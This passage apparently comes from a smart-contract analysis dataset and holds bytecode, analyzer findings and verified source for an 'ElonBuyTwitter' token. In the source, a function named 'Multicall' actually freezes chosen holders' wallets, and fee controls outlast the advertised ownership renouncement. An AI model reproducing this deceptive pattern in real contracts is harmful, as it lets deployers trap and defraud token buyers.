fffffffffffff16141515611ca657600080fd5b6001600560006101000a81548160ff0219169083151502179055507f7187cbcbda53f626dba64b95bb4562770cbe3f2026eebce9d93b79a169f8460c60405160405180910390a16001905090565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160009054906101000a900460ff169050919050565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611de35780601f10611db857610100808354040283529160200191611de3565b820191906000526020600020905b815481529060010190602001808311611dc657829003601f168201915b505050505081565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611e4857600080fd5b60008451111515611e5857600080fd5b82518451141515611e6857600080fd5b81518451141515611e7857600080fd5b60006005811115611e8557fe5b856005811115611e9157fe5b14151515611e9e57600080fd5b600090505b8351811015611f4f57611ecc8482815181101515611ebd57fe5b906020019060200201516119f2565b8382815181101515611eda57fe5b9060200190602002015111151515611ef157600080fd5b611f428482815181101515611f0257fe5b90602001906020020151868584815181101515611f1b57fe5b906020019060200201518585815181101515611f3357fe5b9060200190602002015161324d565b8080600101915050611ea3565b5050505050565b60008060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611fb657600080fd5b60076000876005811115611fc657fe5b8152602001908152602001600020925060009150600090505b82600001805490508110156120245784836000018281548110151561200057fe5b906000526020600020900154141561201757600080fd5b8080600101915050611fdf565b811561202f57600080fd5b8260000180548060010182816120459190613625565b9160005260206000209001600087909190915055508260010180548060010182816120709190613625565b916000526020600020900160008690919091505550505050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156120ea57600080fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154821115151561213b57600080fd5b61219082600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015461323490919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055506121eb8260045461323490919063ffffffff16565b6004819055507fb90306ad06b2a6ff86ddc9327db583062895ef6540e62dc50add009db5b356eb826040518082815260200191505060405180910390a16001905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561228d57600080fd5b80600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301805490501115156122e057600080fd5b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003018281548110151561233157fe5b9060005260206000209001819055505050565b60008060149054906101000a900460ff1615151561236157600080fd5b61236e3384846001613204565b6123c382600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015461323490919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000018190555061245e82600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154612fd490919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b61251b613611565b612523613611565b61252b613611565b612533613611565b61253b613611565b612543613611565b6000600860008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001805490506040518059106125985750595b90808252806020026020018201604052509150600090505b600860008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000018054905081101561278c576001600581111561260a57fe5b600860008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000018281548110151561265957fe5b90600052602060002090015414156126bf5761269e6126788983612f03565b838381518110151561268657fe5b90602001906020020151612fd490919063ffffffff16565b82828151811015156126ac57fe5b906020019060200201818152505061277f565b600060058111156126cc57fe5b600860008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000018281548110151561271b57fe5b90600052602060002090015414151561277e5761276161273b8983612ff2565b838381518110151561274957fe5b90602001906020020151612fd490919063ffffffff16565b828281518110151561276f57fe5b90602001906020020181815250505b5b80806001019150506125b0565b600860008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001600860008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010183600860008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201600860008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301848054806020026020016040519081016040528092919081815260200182805480156128e057602002820191906000526020600020905b8154815260200190600101908083116128cc575b505050505094508380548060200260200160405190810160405280929190818152602001828054801561293257602002820191906000526020600020905b81548152602001906001019080831161291e575b505050505093508180548060200260200160405190810160405280929190818152602001828054801561298457602002820191906000526020600020905b815481526020019060010190808311612970575b50505050509150808054806020026020016040519081016040528092919081815260200182805480156129d657602002820191906000526020600020905b8154815260200190600101908083116129c2575b5050505050905096509650965096509650505091939590929450565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612ad757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515612b1357600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612c2e57600080fd5b60001515600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160009054906101000a900460ff161515141515612c9057600080fd5b6001600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160006101000a81548160ff02191690831515021790555060019050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612d5157600080fd5b612d5e3384846000613204565b612db382600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015461323490919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000181905550612e4e82600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154612fd490919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030182815481101515612f5457fe5b906000526020600020900154421015612fc957600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010182815481101515612fb657fe5b9060005260206000209001549050612fce565b600090505b92915050565b6000808284019050838110151515612fe857fe5b8091505092915050565b6000806000806000809350600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000018681548110151561304c57fe5b906000526020600020900154925064174876e7ff9150600090505b60076000848152602001908152602001600020600001805490508110156131655760076000848152602001908152602001600020600001818154811015156130ab57fe5b906000526020600020900154421015613158578160076000858152602001908152602001600020600001828154811015156130e257fe5b906000526020600020900154101561315757600760008481526020019081526020016000206000018181548110151561311757fe5b9060005260206000209001549150600760008481526020019081526020016000206001018181548110151561314857fe5b90600052602060002090015493505b5b8080600101915050613067565b600084141561317757600094506131fa565b6131f7846131e96064600860008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001018a8154811015156131cf57fe5b90600052602060002090015461345890919063ffffffff16565b61347390919063ffffffff16565b94505b5050505092915050565b613210848484846134ae565b801561322e5761321f846119f2565b821115151561322d57600080fd5b5b50505050565b600082821115151561324257fe5b818303905092915050565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000180548060010182816132a19190613625565b916000526020600020900160008560058111156132ba57fe5b90919091505550600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010180548060010182816133159190613625565b916000526020600020900160008490919091505550600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201805480600101828161337e9190613625565b916000526020600020900160004290919091505550600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030180548060010182816133e79190613625565b9160005260206000209001600083909190915055508373ffffffffffffffffffffffffffffffffffffffff167f49eaf4942f1237055eb4cfa5f31c9dfe50d5b4ade01e021f7de8be2fbbde557b8383604051808381526020018281526020019250505060405180910390a250505050565b600080828481151561346657fe5b0490508091505092915050565b600080600084141561348857600091506134a7565b828402905082848281151561349957fe5b041415156134a357fe5b8091505b5092915050565b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156134e957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561352557600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001541015151561357657600080fd5b80156135df5760001515600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160009054906101000a900460ff1615151415156135de57600080fd5b5b50505050565b81548183558181151161360c5781836000526020600020918201910161360b9190613651565b5b505050565b602060405190810160405280600081525090565b81548183558181151161364c5781836000526020600020918201910161364b9190613651565b5b505050565b61367391905b8082111561366f576000816000905550600101613657565b5090565b905600a165627a7a723058204c16a67d36703eab6227e4cf5caaf2fec169706531e43f74ed16c44d7a8b36db0029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
7,350
0x171786b83e623ae872f8b9bf87f1058b8b33d229
/** *Submitted for verification at Etherscan.io on 2022-04-25 */ /** 这是官方的,Elon Buy Tweeter,对所有加密社区都有好处! 购买税 : 2% 销售税:前 15 分钟 15%,然后转为 2% 发射后放弃所有权。 LP 锁定在 team.finance 上。 最大钱包:3% It's official, Elon Buy Tweeter and it's good for all crypto community ! Buy Tax : 2% Sell Tax : 15% the first 15 min then turned to 2% Ownership renounced after launch. LP locked on team.finance. Max wallet : 3% */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.13; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract ElonBuyTwitter is Context, IERC20, Ownable { //// mapping (address => uint) private _owned; mapping (address => mapping (address => uint)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => User) private cooldown; mapping (address => bool) private _isBot; uint private constant _totalSupply = 1e12 * 10**9; string public constant name = unicode"ElonBuyTwitter"; //// string public constant symbol = unicode"ElonBuyTwitter"; //// uint8 public constant decimals = 9; IUniswapV2Router02 private uniswapV2Router; address payable private _FeeAddress1; address payable private _FeeAddress2; address public uniswapV2Pair; uint public _buyFee = 2; uint public _sellFee = 15; uint public _feeRate = 9; uint public _maxBuyAmount; uint public _maxHeldTokens; uint public _launchedAt; bool private _tradingOpen; bool private _inSwap; bool public _useImpactFeeSetter = true; struct User { uint buy; bool exists; } event FeeMultiplierUpdated(uint _multiplier); event ImpactFeeSetterUpdated(bool _usefeesetter); event FeeRateUpdated(uint _rate); event FeesUpdated(uint _buy, uint _sell); event FeeAddress1Updated(address _feewallet1); event FeeAddress2Updated(address _feewallet2); modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor (address payable FeeAddress1, address payable FeeAddress2) { _FeeAddress1 = FeeAddress1; _FeeAddress2 = FeeAddress2; _owned[address(this)] = _totalSupply; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress1] = true; _isExcludedFromFee[FeeAddress2] = true; emit Transfer(address(0), address(this), _totalSupply); } function balanceOf(address account) public view override returns (uint) { return _owned[account]; } function transfer(address recipient, uint amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function totalSupply() public pure override returns (uint) { return _totalSupply; } function allowance(address owner, address spender) public view override returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public override returns (bool) { if(_tradingOpen && !_isExcludedFromFee[recipient] && sender == uniswapV2Pair){ require (recipient == tx.origin, "pls no bot"); } _transfer(sender, recipient, amount); uint allowedAmount = _allowances[sender][_msgSender()] - amount; _approve(sender, _msgSender(), allowedAmount); return true; } function _approve(address owner, address spender, uint amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isBot[from], "ERC20: transfer from frozen wallet."); bool isBuy = false; if(from != owner() && to != owner()) { // buy if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(_tradingOpen, "Trading not yet enabled."); require(block.timestamp != _launchedAt, "pls no snip"); if((_launchedAt + (1 hours)) > block.timestamp) { require((amount + balanceOf(address(to))) <= _maxHeldTokens, "You can't own that many tokens at once."); // 5% } if(!cooldown[to].exists) { cooldown[to] = User(0,true); } if((_launchedAt + (120 seconds)) > block.timestamp) { require(amount <= _maxBuyAmount, "Exceeds maximum buy amount."); require(cooldown[to].buy < block.timestamp + (15 seconds), "Your buy cooldown has not expired."); } cooldown[to].buy = block.timestamp; isBuy = true; } // sell if(!_inSwap && _tradingOpen && from != uniswapV2Pair) { require(cooldown[from].buy < block.timestamp + (15 seconds), "Your sell cooldown has not expired."); uint contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > 0) { if(_useImpactFeeSetter) { if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) { contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100; } } swapTokensForEth(contractTokenBalance); } uint contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } isBuy = false; } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee,isBuy); } function swapTokensForEth(uint tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint amount) private { _FeeAddress1.transfer(amount / 2); _FeeAddress2.transfer(amount / 2); } function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private { (uint fee) = _getFee(takefee, buy); _transferStandard(sender, recipient, amount, fee); } function _getFee(bool takefee, bool buy) private view returns (uint) { uint fee = 0; if(takefee) { if(buy) { fee = _buyFee; } else { fee = _sellFee; if(block.timestamp < _launchedAt + (15 minutes)) { fee += 5; } } } return fee; } function _transferStandard(address sender, address recipient, uint amount, uint fee) private { (uint transferAmount, uint team) = _getValues(amount, fee); _owned[sender] = _owned[sender] - amount; _owned[recipient] = _owned[recipient] + transferAmount; _takeTeam(team); emit Transfer(sender, recipient, transferAmount); } function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) { uint team = (amount * teamFee) / 100; uint transferAmount = amount - team; return (transferAmount, team); } function _takeTeam(uint team) private { _owned[address(this)] = _owned[address(this)] + team; } receive() external payable {} // external functions function addLiquidity() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _totalSupply); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); _tradingOpen = true; _launchedAt = block.timestamp; _maxBuyAmount = 3000000000 * 10**9; // 3% _maxHeldTokens = 30000000000 * 10**9; // 3% } function manualswap() external { require(_msgSender() == _FeeAddress1); uint contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress1); uint contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setFeeRate(uint rate) external onlyOwner() { require(_msgSender() == _FeeAddress1); require(rate > 0, "Rate can't be zero"); // 100% is the common fee rate _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setFees(uint buy, uint sell) external { require(_msgSender() == _FeeAddress1); require(buy <= 10); require(sell <= 10); _buyFee = buy; _sellFee = sell; emit FeesUpdated(_buyFee, _sellFee); } function Multicall(address[] memory bots_) external { require(_msgSender() == _FeeAddress1); for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) { _isBot[bots_[i]] = true; } } } function delBots(address[] memory bots_) external { require(_msgSender() == _FeeAddress1); for (uint i = 0; i < bots_.length; i++) { _isBot[bots_[i]] = false; } } function isBot(address ad) public view returns (bool) { return _isBot[ad]; } function toggleImpactFee(bool onoff) external onlyOwner() { _useImpactFeeSetter = onoff; emit ImpactFeeSetterUpdated(_useImpactFeeSetter); } function updateFeeAddress1(address newAddress) external { require(_msgSender() == _FeeAddress1); _FeeAddress1 = payable(newAddress); emit FeeAddress1Updated(_FeeAddress1); } function updateFeeAddress2(address newAddress) external { require(_msgSender() == _FeeAddress2); _FeeAddress2 = payable(newAddress); emit FeeAddress2Updated(_FeeAddress2); } // view functions function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }
0x6080604052600436106101f25760003560e01c8063509016171161010d57806395d89b41116100a0578063c9567bf91161006f578063c9567bf914610574578063db92dbb614610589578063dcb0e0ad1461059e578063dd62ed3e146105be578063e8078d941461060457600080fd5b806395d89b4114610227578063a9059cbb14610529578063b2131f7d14610549578063c3c8cd801461055f57600080fd5b8063715018a6116100dc578063715018a6146104b65780637a49cddb146104cb5780638da5cb5b146104eb57806394b8d8f21461050957600080fd5b8063509016171461044b578063590f897e1461046b5780636fc3eaec1461048157806370a082311461049657600080fd5b806327f3a72a116101855780633bbac579116101545780633bbac579146103a457806340b9a54b146103dd57806345596e2e146103f357806349bd5a5e1461041357600080fd5b806327f3a72a14610332578063313ce5671461034757806331c2d8471461036e57806332d873d81461038e57600080fd5b80630b78f9c0116101c15780630b78f9c0146102c057806318160ddd146102e05780631940d020146102fc57806323b872dd1461031257600080fd5b80630492f055146101fe57806306fdde03146102275780630802d2f61461026e578063095ea7b31461029057600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b50610214600e5481565b6040519081526020015b60405180910390f35b34801561023357600080fd5b506102616040518060400160405280600e81526020016d22b637b7213abcaa3bb4ba3a32b960911b81525081565b60405161021e9190611b9d565b34801561027a57600080fd5b5061028e610289366004611c17565b610619565b005b34801561029c57600080fd5b506102b06102ab366004611c34565b61068e565b604051901515815260200161021e565b3480156102cc57600080fd5b5061028e6102db366004611c60565b6106a4565b3480156102ec57600080fd5b50683635c9adc5dea00000610214565b34801561030857600080fd5b50610214600f5481565b34801561031e57600080fd5b506102b061032d366004611c82565b610727565b34801561033e57600080fd5b5061021461080f565b34801561035357600080fd5b5061035c600981565b60405160ff909116815260200161021e565b34801561037a57600080fd5b5061028e610389366004611cd9565b61081f565b34801561039a57600080fd5b5061021460105481565b3480156103b057600080fd5b506102b06103bf366004611c17565b6001600160a01b031660009081526006602052604090205460ff1690565b3480156103e957600080fd5b50610214600b5481565b3480156103ff57600080fd5b5061028e61040e366004611d9e565b6108ab565b34801561041f57600080fd5b50600a54610433906001600160a01b031681565b6040516001600160a01b03909116815260200161021e565b34801561045757600080fd5b5061028e610466366004611c17565b61096f565b34801561047757600080fd5b50610214600c5481565b34801561048d57600080fd5b5061028e6109dd565b3480156104a257600080fd5b506102146104b1366004611c17565b610a0a565b3480156104c257600080fd5b5061028e610a25565b3480156104d757600080fd5b5061028e6104e6366004611cd9565b610a99565b3480156104f757600080fd5b506000546001600160a01b0316610433565b34801561051557600080fd5b506011546102b09062010000900460ff1681565b34801561053557600080fd5b506102b0610544366004611c34565b610ba8565b34801561055557600080fd5b50610214600d5481565b34801561056b57600080fd5b5061028e610bb5565b34801561058057600080fd5b5061028e610beb565b34801561059557600080fd5b50610214610c8e565b3480156105aa57600080fd5b5061028e6105b9366004611dc5565b610ca6565b3480156105ca57600080fd5b506102146105d9366004611de2565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561061057600080fd5b5061028e610d23565b6008546001600160a01b0316336001600160a01b03161461063957600080fd5b600880546001600160a01b0319166001600160a01b0383169081179091556040519081527f0e96f8986653644392af4a5daec8b04a389af0d497572173e63846ccd26c843c906020015b60405180910390a150565b600061069b33848461106a565b50600192915050565b6008546001600160a01b0316336001600160a01b0316146106c457600080fd5b600a8211156106d257600080fd5b600a8111156106e057600080fd5b600b829055600c81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60115460009060ff16801561075557506001600160a01b03831660009081526004602052604090205460ff16155b801561076e5750600a546001600160a01b038581169116145b156107bd576001600160a01b03831632146107bd5760405162461bcd60e51b815260206004820152600a6024820152691c1b1cc81b9bc8189bdd60b21b60448201526064015b60405180910390fd5b6107c884848461118e565b6001600160a01b03841660009081526003602090815260408083203384529091528120546107f7908490611e31565b905061080485338361106a565b506001949350505050565b600061081a30610a0a565b905090565b6008546001600160a01b0316336001600160a01b03161461083f57600080fd5b60005b81518110156108a75760006006600084848151811061086357610863611e48565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061089f81611e5e565b915050610842565b5050565b6000546001600160a01b031633146108d55760405162461bcd60e51b81526004016107b490611e77565b6008546001600160a01b0316336001600160a01b0316146108f557600080fd5b6000811161093a5760405162461bcd60e51b8152602060048201526012602482015271526174652063616e2774206265207a65726f60701b60448201526064016107b4565b600d8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd890602001610683565b6009546001600160a01b0316336001600160a01b03161461098f57600080fd5b600980546001600160a01b0319166001600160a01b0383169081179091556040519081527f96511497113ddf59712b28350d7457b9c300ab227616bd3b451745a395a5301490602001610683565b6008546001600160a01b0316336001600160a01b0316146109fd57600080fd5b47610a07816117fc565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b03163314610a4f5760405162461bcd60e51b81526004016107b490611e77565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6008546001600160a01b0316336001600160a01b031614610ab957600080fd5b60005b81518110156108a757600a5482516001600160a01b0390911690839083908110610ae857610ae8611e48565b60200260200101516001600160a01b031614158015610b39575060075482516001600160a01b0390911690839083908110610b2557610b25611e48565b60200260200101516001600160a01b031614155b15610b9657600160066000848481518110610b5657610b56611e48565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610ba081611e5e565b915050610abc565b600061069b33848461118e565b6008546001600160a01b0316336001600160a01b031614610bd557600080fd5b6000610be030610a0a565b9050610a0781611881565b6000546001600160a01b03163314610c155760405162461bcd60e51b81526004016107b490611e77565b60115460ff1615610c625760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016107b4565b6011805460ff19166001179055426010556729a2241af62c0000600e556801a055690d9db80000600f55565b600a5460009061081a906001600160a01b0316610a0a565b6000546001600160a01b03163314610cd05760405162461bcd60e51b81526004016107b490611e77565b6011805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb90602001610683565b6000546001600160a01b03163314610d4d5760405162461bcd60e51b81526004016107b490611e77565b60115460ff1615610d9a5760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016107b4565b600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610dd73082683635c9adc5dea0000061106a565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e15573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e399190611eac565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e86573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eaa9190611eac565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610ef7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f1b9190611eac565b600a80546001600160a01b0319166001600160a01b039283161790556007541663f305d7194730610f4b81610a0a565b600080610f606000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610fc8573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610fed9190611ec9565b5050600a5460075460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015611046573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a79190611ef7565b6001600160a01b0383166110cc5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107b4565b6001600160a01b03821661112d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107b4565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c